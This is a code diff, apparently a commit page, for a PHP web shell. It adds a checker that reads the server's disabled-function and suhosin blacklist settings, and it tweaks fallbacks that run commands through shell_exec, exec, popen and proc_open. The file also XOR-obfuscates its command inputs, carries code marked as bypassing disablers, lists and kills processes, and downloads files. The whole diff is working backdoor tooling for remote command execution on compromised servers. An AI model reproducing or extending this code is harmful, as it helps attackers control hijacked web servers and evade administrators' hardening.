@@ -79,6 +79,26 @@ function generateRandomString($length = 10)
79
79
}
80
80
#<--
81
81
82
+ #Checks if a function is/isn't disabled
83
+ $ disbls = @ini_get ('disable_functions ' ).', ' .@ini_get ('suhosin.executor.func.blacklist ' );
84
+ $ disblsArray = explode (", " , $ disbls );
85
+
86
+ function checkIt ($ func )
87
+ {
88
+ global $ disblsArray ;
89
+
90
+ foreach ($ disblsArray as $ value )
91
+ {
92
+ if ($ func == $ value )
93
+ {
94
+ return False ;
95
+ }
96
+ }
97
+
98
+ return True ;
99
+ }
100
+ #<--
101
+
82
102
#`base64_encode`, `base64_decode`, `bindec` and `decbin` Replacements to bypass Disablers-->
83
103
$ base64ids = array ("A " , "B " , "C " , "D " , "E " , "F " , "G " , "H " , "I " , "J " , "K " , "L " , "M " , "N " , "O " , "P " , "Q " , "R " , "S " , "T " , "U " , "V " , "W " , "X " , "Y " , "Z " , "a " , "b " , "c " , "d " , "e " , "f " , "g " , "h " , "i " , "j " , "k " , "l " , "m " , "n " , "o " , "p " , "q " , "r " , "s " , "t " , "u " , "v " , "w " , "x " , "y " , "z " , "0 " , "1 " , "2 " , "3 " , "4 " , "5 " , "6 " , "7 " , "8 " , "9 " , "+ " , "/ " );
84
104
@@ -390,22 +410,22 @@ function soft_exists($command)
390
410
391
411
$ complete = "$ whereIsCommand $ command " ;
392
412
393
- if ($ shell_exec == true )
413
+ if ($ shell_exec == True )
394
414
{
395
415
return shell_exec ($ complete );
396
416
}
397
- else if ($ exec == true )
417
+ else if ($ exec == True )
398
418
{
399
419
return exec ($ complete );
400
420
}
401
- else if ($ popen == true )
421
+ else if ($ popen == True )
402
422
{
403
423
$ pid = popen ($ complete ,"r " );
404
424
$ result = fread ($ pid , 2096 );
405
425
pclose ($ pid );
406
426
return $ result ;
407
427
}
408
- else if ($ proc_open == true )
428
+ else if ($ proc_open == True )
409
429
{
410
430
$ process = proc_open (
411
431
$ complete ,
@@ -518,8 +538,6 @@ function evalRel($command)
518
538
#Zips Windows Dir-->
519
539
function zipWindows ($ zip_location , $ folder )
520
540
{
521
- global $ shell_exec , $ exec , $ popen , $ proc_open , $ system , $ passthru ;
522
-
523
541
$ code = 'ArchiveFolder " ' . $ zip_location . '", " ' . $ folder . '"
524
542
525
543
Sub ArchiveFolder (zipFile, sFolder)
@@ -753,7 +771,7 @@ function xorencr(form, command)
753
771
754
772
form.command.value = xor_str(command.value);
755
773
form.submit();
756
- return true ;
774
+ return True ;
757
775
}
758
776
759
777
function xorencr2(form, language, command)
@@ -766,7 +784,7 @@ function xorencr2(form, language, command)
766
784
767
785
form.eval.value = xor_str(command.value);
768
786
form.submit();
769
- return true ;
787
+ return True ;
770
788
}
771
789
772
790
function xorencr3(form, original_name, new_name)
@@ -780,7 +798,7 @@ function xorencr3(form, original_name, new_name)
780
798
form.original_name.value = btoa(original_name.value);
781
799
form.new_name.value = xor_str(new_name.value);
782
800
form.submit();
783
- return true ;
801
+ return True ;
784
802
}
785
803
786
804
function xorencr4(form, dir)
@@ -793,7 +811,7 @@ function xorencr4(form, dir)
793
811
794
812
form.dir.value = xor_str(dir.value);
795
813
form.submit();
796
- return true ;
814
+ return True ;
797
815
}
798
816
799
817
function xorencr5(form, content)
@@ -806,7 +824,7 @@ function xorencr5(form, content)
806
824
807
825
form.content.value = xor_str(content.value);
808
826
form.submit();
809
- return true ;
827
+ return True ;
810
828
}
811
829
812
830
function showDiv()
@@ -921,7 +939,7 @@ function showDiv()
921
939
echo "
922
940
<tr>
923
941
<td> $ function</td> " ;
924
- if (function_exists ($ function ))
942
+ if (checkIt ($ function ))
925
943
{
926
944
$ {"{$ function }" } = True ;
927
945
echo "
@@ -971,7 +989,7 @@ function showDiv()
971
989
<?php
972
990
973
991
#Gets Info -->
974
- if (function_exists ("php_uname " ))
992
+ if (checkIt ("php_uname " ))
975
993
{
976
994
echo "
977
995
<tr>
@@ -994,7 +1012,7 @@ function showDiv()
994
1012
<td> " .$ _SERVER ['SERVER_ADDR ' ]."</td>
995
1013
</tr> " ;
996
1014
997
- if (function_exists ("get_current_user " ))
1015
+ if (checkIt ("get_current_user " ))
998
1016
{
999
1017
echo "
1000
1018
<tr>
@@ -1111,7 +1129,7 @@ function showDiv()
1111
1129
echo "N/A " ;
1112
1130
}
1113
1131
}
1114
- else if ($ popen == true )
1132
+ else if ($ popen == True )
1115
1133
{
1116
1134
$ pid = popen ('typeperf -sc 1 "\processor(_total)\% processor time" ' ,"r " );
1117
1135
$ data = fread ($ pid , 2096 );
@@ -1138,7 +1156,7 @@ function showDiv()
1138
1156
echo "N/A " ;
1139
1157
}
1140
1158
}
1141
- else if ($ proc_open == true )
1159
+ else if ($ proc_open == True )
1142
1160
{
1143
1161
$ process = proc_open (
1144
1162
'typeperf -sc 1 "\processor(_total)\% processor time" ' ,
@@ -1205,17 +1223,17 @@ function showDiv()
1205
1223
}
1206
1224
else if ($ exec == True )
1207
1225
{
1208
- $ data = shell_exec ("grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage \"\"}' " );
1226
+ $ data = exec ("grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage \"\"}' " );
1209
1227
echo "<td> " .round ($ data )."%</td> \n" ;
1210
1228
}
1211
- else if ($ popen == true )
1229
+ else if ($ popen == True )
1212
1230
{
1213
1231
$ pid = popen ("grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage \"\"}' " ,"r " );
1214
1232
$ data = fread ($ pid , 2096 );
1215
1233
pclose ($ pid );
1216
1234
echo "<td> " .round ($ data )."%</td> \n" ;
1217
1235
}
1218
- else if ($ proc_open == true )
1236
+ else if ($ proc_open == True )
1219
1237
{
1220
1238
$ process = proc_open (
1221
1239
"grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage \"\"}' " ,
@@ -1284,15 +1302,15 @@ function showDiv()
1284
1302
$ total_ram = $ total_ram /1024 ;
1285
1303
echo "<td> " . round ($ total_ram ) . " GB</td> \n" ;
1286
1304
}
1287
- else if ($ popen == true )
1305
+ else if ($ popen == True )
1288
1306
{
1289
1307
$ pid = popen ("free -mt | grep Mem |awk '{print $2}' " ,"r " );
1290
1308
$ total_ram = fread ($ pid , 2096 );
1291
1309
pclose ($ pid );
1292
1310
$ total_ram = $ total_ram /1024 ;
1293
1311
echo "<td> " . round ($ total_ram ) . " GB</td> \n" ;
1294
1312
}
1295
- else if ($ proc_open == true )
1313
+ else if ($ proc_open == True )
1296
1314
{
1297
1315
$ process = proc_open (
1298
1316
"free -mt | grep Mem |awk '{print $2}' " ,
@@ -1341,8 +1359,16 @@ function showDiv()
1341
1359
<td>Free RAM</td> " ;
1342
1360
if (strtoupper (substr (PHP_OS , 0 , 3 )) == 'WIN ' )
1343
1361
{
1344
- $ free_ram = (int )str_replace ("FreePhysicalMemory= " , "" , shell_exec ("wmic OS get FreePhysicalMemory /Value " )) /1024 /1024 ;
1345
- echo "<td> " . round ($ free_ram , 2 ) . "GB </td> " ;
1362
+ if ($ shell_exec == True )
1363
+ {
1364
+ $ free_ram = (int )str_replace ("FreePhysicalMemory= " , "" , shell_exec ("wmic OS get FreePhysicalMemory /Value " )) /1024 /1024 ;
1365
+ echo "<td> " . round ($ free_ram , 2 ) . "GB </td> " ;
1366
+ }
1367
+ else if ($ exec == True )
1368
+ {
1369
+ $ free_ram = (int )str_replace ("FreePhysicalMemory= " , "" , exec ("wmic OS get FreePhysicalMemory /Value " )) /1024 /1024 ;
1370
+ echo "<td> " . round ($ free_ram , 2 ) . "GB </td> " ;
1371
+ }
1346
1372
}
1347
1373
else
1348
1374
{
@@ -1356,14 +1382,14 @@ function showDiv()
1356
1382
$ free_ram = exec ("free | grep Mem | awk '{print $3/$2 * 100.0}' " );
1357
1383
echo "<td> " . round ($ free_ram ) . "% </td> \n" ;
1358
1384
}
1359
- else if ($ popen == true )
1385
+ else if ($ popen == True )
1360
1386
{
1361
1387
$ pid = popen ("free | grep Mem | awk '{print $3/$2 * 100.0}' " ,"r " );
1362
1388
$ free_ram = fread ($ pid , 2096 );
1363
1389
pclose ($ pid );
1364
1390
echo "<td> " . round ($ free_ram ) . "% </td> \n" ;
1365
1391
}
1366
- else if ($ proc_open == true )
1392
+ else if ($ proc_open == True )
1367
1393
{
1368
1394
$ process = proc_open (
1369
1395
"free | grep Mem | awk '{print $3/$2 * 100.0}' " ,
@@ -1497,7 +1523,7 @@ function showDiv()
1497
1523
curl_setopt ($ ch , CURLOPT_TIMEOUT , 60 );
1498
1524
1499
1525
curl_setopt ($ ch , CURLOPT_FILE , $ fp );
1500
- curl_setopt ($ ch , CURLOPT_FOLLOWLOCATION , true );
1526
+ curl_setopt ($ ch , CURLOPT_FOLLOWLOCATION , True );
1501
1527
1502
1528
$ data = curl_exec ($ ch );
1503
1529
@@ -1642,7 +1668,7 @@ function showDiv()
1642
1668
{
1643
1669
if (evalRel ("zip -r $ archiveName $ archiveName " )=="False " )
1644
1670
{
1645
- echo "<p class='danger'>Can't Zip because 'exec', 'shell_exec', 'system' and 'passthru' are Disabled.</p> " ;
1671
+ echo "<p class='danger'>Can't Zip because 'exec', 'shell_exec', 'system', 'passthru', `popen` and `proc_open` are Disabled.</p> " ;
1646
1672
$ zipFail = True ;
1647
1673
}
1648
1674
@@ -2117,7 +2143,7 @@ function showDiv()
2117
2143
echo "> " ;
2118
2144
}
2119
2145
2120
- if ($ popen == true )
2146
+ if ($ popen == True )
2121
2147
{
2122
2148
echo '<input type="submit" name="popen" value="Popen" ' ;
2123
2149
@@ -2129,7 +2155,7 @@ function showDiv()
2129
2155
echo "> " ;
2130
2156
}
2131
2157
2132
- if ($ proc_open == true )
2158
+ if ($ proc_open == True )
2133
2159
{
2134
2160
echo '<input type="submit" name="proc_open" value="Proc_open" ' ;
2135
2161
@@ -2530,7 +2556,7 @@ function showDiv()
2530
2556
$ kill = fread ($ pid , 2096 );
2531
2557
pclose ($ pid );
2532
2558
}
2533
- else if ($ proc_open == true )
2559
+ else if ($ proc_open == True )
2534
2560
{
2535
2561
$ oprocess = proc_open (
2536
2562
"taskkill /F /PID " . $ _GET ["kill " ] . " 2>&1 " ,
@@ -2593,7 +2619,7 @@ function showDiv()
2593
2619
$ process_list = fread ($ pid , 2096 );
2594
2620
pclose ($ pid );
2595
2621
}
2596
- else if ($ proc_open == true )
2622
+ else if ($ proc_open == True )
2597
2623
{
2598
2624
$ oprocess = proc_open (
2599
2625
"tasklist " ,
@@ -2684,7 +2710,7 @@ function showDiv()
2684
2710
$ output = fread ($ pid , 2096 );
2685
2711
pclose ($ pid );
2686
2712
}
2687
- else if ($ proc_open == true )
2713
+ else if ($ proc_open == True )
2688
2714
{
2689
2715
$ oprocess = proc_open (
2690
2716
"kill $ pid 2>&1 " ,
@@ -2744,10 +2770,10 @@ function showDiv()
2744
2770
else if ($ popen == True )
2745
2771
{
2746
2772
$ pid = popen ("ps aux " ,"r " );
2747
- $ process_list = fread ($ pid , 2096 );
2773
+ $ process_list = fread ($ pid , 4096 );
2748
2774
pclose ($ pid );
2749
2775
}
2750
- else if ($ proc_open == true )
2776
+ else if ($ proc_open == True )
2751
2777
{
2752
2778
$ oprocess = proc_open (
2753
2779
"ps aux " ,
0 commit comments